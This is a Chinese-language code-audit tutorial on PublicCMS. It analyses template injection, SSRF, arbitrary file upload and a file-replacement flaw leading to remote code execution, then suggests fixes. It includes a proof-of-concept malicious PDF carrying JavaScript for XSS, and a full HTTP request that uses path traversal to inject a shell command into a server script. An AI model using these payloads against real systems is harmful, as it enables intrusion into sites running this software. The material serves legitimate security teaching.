从publiccms学习java代码审计
字数 1104 2025-08-24 07:48:10
PublicCMS 代码审计教学文档
一、环境搭建
- 下载 PublicCMS 源码并导入 IDEA
- 加载 pom.xml 文件
- 配置启动参数:
- 修改 boot.SpringBootApplication 文件中的启动端口
- 数据库准备:
- 创建 MySQL 数据库
二、审计发现的安全漏洞
1. Freemarker 模板注入漏洞
漏洞位置:GetTemplateResult 方法
关键代码:
public Object execute(List<TemplateModel> arguments) throws TemplateModelException {
String template = getString(0, arguments);
if (CommonUtils.notEmpty(template)) {
template = "<#attempt>" + template + "<#recover>${.error!}</#attempt>";
try {
return FreeMarkerUtils.generateStringByString(template, configuration, null);
} catch (Exception e) {
return e.getMessage();
}
}
return null;
}
分析:
- 直接使用用户输入的
template内容进行 Freemarker 模板解析 - 虽然配置了安全限制,但仍可能存在绕过风险
安全配置:
configuration.setAPIBuiltinEnabled(false);
configuration.setNewBuiltinClassResolver(TemplateClassResolver.ALLOWS_NOTHING_RESOLVER);
2. SSRF 漏洞
漏洞位置:GetHtmlMethod 方法
关键代码:
public boolean needAppToken() {
return true;
}
利用条件:
- 获取有效的 appToken:
- 通过
/api/appToken接口使用 appKey 和 appSecret 获取 - 后台添加应用授权获取凭证
- 通过
利用方式:
- 通过
/api/method/getHtml接口的 parameters 参数控制访问目标 - 可通过延迟时间判断端口开放状态
3. 任意文件上传漏洞
漏洞位置:/admin/cmsWebFile/doUpload
关键代码:
@RequestMapping("doUpload")
@Csrf
public String upload(@RequestAttribute SysSite site, @SessionAttribute SysUser admin,
MultipartFile[] files, String path, boolean overwrite, HttpServletRequest request, ModelMap model) {
// ...
String originalName = file.getOriginalFilename();
String filepath = path + CommonConstants.SEPARATOR + originalName;
String fuleFilePath = siteComponent.getWebFilePath(site.getId(), filepath);
CmsFileUtils.upload(file, fuleFilePath);
// ...
}
漏洞分析:
- 未对文件名进行任何限制
- 可直接上传任意文件类型
- 上传路径由用户控制的
path参数决定
利用方式:
-
上传恶意 PDF 文件实现 XSS:
%PDF-1.3 %忏嫌 1 0 obj << /Type /Pages /Count 1 /Kids [ 4 0 R ] >> endobj 2 0 obj << /Producer (PyPDF2) >> endobj 3 0 obj << /Type /Catalog /Pages 1 0 R /Names << /JavaScript << /Names [ (0b1781f6\0559e7f\0554c59\055b8fd\0557c4588f0d14c) 5 0 R ] >> >> >> endobj 4 0 obj << /Type /Page /Resources << >> /MediaBox [ 0 0 72 72 ] /Parent 1 0 R >> endobj 5 0 obj << /Type /Action /S /JavaScript /JS (app\056alert\050\047xss\047\051\073) >> endobj -
通过文件管理界面查看触发 XSS
4. 文件内容替换导致 RCE
漏洞位置:
/admin/cmsTemplate/replace接口/admin/sysSite/execScript接口
关键代码:
public String replace(@RequestAttribute SysSite site, @SessionAttribute SysUser admin,
@ModelAttribute TemplateReplaceParameters replaceParameters, String word, String replace, HttpServletRequest request) {
// ...
String filePath = siteComponent.getTemplateFilePath(site.getId(), CommonConstants.SEPARATOR);
CmsFileUtils.replaceFileList(filePath, replaceParameters.getReplaceList(), word, replace);
// ...
}
漏洞分析:
- 未对文件类型和内容做限制
- 未对目录进行限制,存在目录穿越风险
- 可替换系统关键文件(如 SSH 公钥、计划任务等)
利用步骤:
- 访问
/admin/sysSite/execScript执行sync.sh - 使用
/admin/cmsTemplate/replace替换脚本内容:POST /admin/cmsTemplate/replace?navTabId=placeTemplate/list HTTP/1.1 ... _csrf=fadb2fab-2700-4f54-a679-6e6deb1a5ad4&word=-echo&replace=-echo%3bopen+-a+calculator.app&replaceList%5B0%5D.path=../../script/sync.sh&replaceList%5B0%5D.indexs=0 - 再次执行
sync.sh触发 RCE
三、修复方案
-
文件上传漏洞修复:
public static String getSafeFileName(String path) { if (CommonUtils.notEmpty(path) && path.contains("..")) { return path.replace("..", CommonConstants.BLANK); } else { return path; } }- 禁止目录穿越
- 增加文件类型检查
-
其他建议:
- 对模板内容进行严格过滤
- 限制 SSRF 访问的内网地址
- 对文件替换操作增加权限和路径检查
四、总结
PublicCMS 存在多处高危漏洞,包括:
- 模板注入风险
- SSRF 漏洞
- 任意文件上传导致 XSS
- 文件替换导致 RCE
开发人员应严格验证用户输入,限制文件操作范围,并对敏感操作增加权限检查。安全配置应作为系统默认设置,而非依赖开发人员手动配置。